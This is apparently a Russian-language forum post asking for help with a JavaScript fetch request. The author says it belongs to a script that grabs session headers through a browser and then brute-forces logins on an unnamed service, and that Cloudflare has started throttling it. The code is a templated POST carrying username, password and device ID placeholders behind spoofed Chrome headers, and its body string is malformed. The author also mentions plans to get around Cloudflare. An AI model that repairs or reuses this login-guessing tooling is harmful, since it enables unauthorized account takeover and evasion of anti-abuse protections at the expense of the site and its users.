@sergerdn благодарю за совет по поводу оформления кода, не знал.
У меня есть скрипт, который авторизовывается через браузер, выдёргивает X-Lumin-Tab-Id и X-Ui-Details, потом я через HTTP клиент начинаю брут.
Но с недавнего времени cloudflare начал жёстко душить, МБ они режим подключили какой.
Вот так всё работало:
Я узнал про метод через fetch, и хочу попробовать, изучаю так сказать.
Нужно отправить запрос, и получить response.
И сейчас столкнулся с тем что не могу нормально составить код.
А конкретно что-то не правильно я заполняю в body.

Код:
const response = await fetch("https://", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "en-US,en;q=0.9",
"content-type": "application/json",
"cache-control": "no-cache",
"pragma": "no-cache",
"sec-ch-ua": "\"Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"118\", \"Chromium\";v=\"118\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"sec-fetch-user": "?1",
"X-Lumin-Tab-Id": [[TAB_ID]],
"X-Ui-Details": [[UI_DETAILS]]
},
"referrer": "https://",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "{"admin":false,"username":"[[USERNAME]]","password":"[[PASSWORD]]","deviceId":"[[DEVICEID]]"}",
"method": "POST",
"mode": "cors"
});
if (response.ok) {
const body = await response.text();
console.log(body);
[[BODY]] = body;
[[BODY2]] = response.text;
[[BODY3]] = response.status;
[[BODY4]] = response.statusText;
} else {
console.error('Failed to fetch data:', response.status, response.statusText);
}
P.S. Да я знаю что стоит уделить время обходу CF, но сейчас интересен метод fetch, посмотреть как это будет работать вообще.